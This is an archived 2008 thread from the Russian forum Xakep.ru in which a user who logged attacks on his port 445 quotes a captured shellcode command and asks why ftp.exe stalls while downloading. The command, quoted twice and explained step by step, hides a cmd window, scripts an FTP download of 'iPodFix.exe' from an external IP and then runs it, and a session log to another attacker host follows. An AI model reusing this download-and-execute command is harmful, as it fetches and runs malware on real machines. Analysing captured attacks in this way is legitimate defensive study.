Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Проблема] ftp.exe не закачивает файл

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> [Проблема] ftp.exe не закачивает файл
Имя
Сообщение << Старые топики   Новые топики >>
[Проблема] ftp.exe не закачивает файл - 2008-01-20 13:49:19.553333   
Sarc

Сообщений: 2
Оценки: 0
Присоединился: 2008-01-20 13:34:15.540000
В общем от нечего делать я сделал порт маппинг для 445 порта написал небольшую прогу которая принимает всё что в этот порт приходит и записывает в файл. Через некоторое время я поковырялся в шелкодах, которые приходят, насколько я понял, суть их всех сводилась к тому, чтобы выполнить WinExec("cmd /c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe",SW_HIDE), ну дык вот, дописал свою прогу, чтобы она редактировала строку "cmd …" убирая из неё команду типа "&iPodFix.exe" и вызывала WinExec() с уже отредактированной строкой. Вопрос: почему дальше ftp> get iPodFix.exe поцесс не идёт?
З.Ы. Вместо iPodFix может быть что угодно, это учтено…

ftp> open 88.200.142.128 23504
Связь с 88.200.142.128.
220 StnyFtpd 0wns j0
ftp> user 1 1
331 Password required
230 User logged in.
ftp> get iPodFix.exe
200 PORT command successful.
150 Opening BINARY mode data connection
Post #: 1
RE: [Проблема] ftp.exe не закачивает файл - 2008-01-20 15:23:11.310000   
Alaget

Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
Ты что шоу экстрасенсов давай исходник.
Post #: 2
RE: [Проблема] ftp.exe не закачивает файл - 2008-01-20 23:40:04.513333   
Sarc

Сообщений: 2
Оценки: 0
Присоединился: 2008-01-20 13:34:15.540000
Исходник в аттаче, но вообщето вопрос относительно стандартной программы win xp называется ftp.exe находится в папке %windir%/system32, являющейся ftp клиентом и вызываемой шелкодом:
WinExec("cmd /c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe",SW_HIDE)
Запускает командную оболочку виндовса (cmd.exe) с невидимым окном и параметрами "/c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe" которые последовательно исполняются командной оболочкой

echo open 88.200.246.251 14384 &gt;&gt; ii echo user a a &gt;&gt; ii echo binary &gt;&gt; ii echo get iPodFix.exe &gt;&gt; ii echo bye &gt;&gt; ii //создаём точнее дописываем в файл "ii" строки: open 88.200.246.251 14384 ;user a a ;binary ;get iPodFix.exe ; bye ftp -n -v -s:ii // запускаем ftp.exe del ii // удаляем больше не нужный файл iPodFix.exe //запускаем скачанный экзешник
Post #: 3
Страниц:  [1]
Все форумы >> [Для начинающих] >> [Проблема] ftp.exe не закачивает файл







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.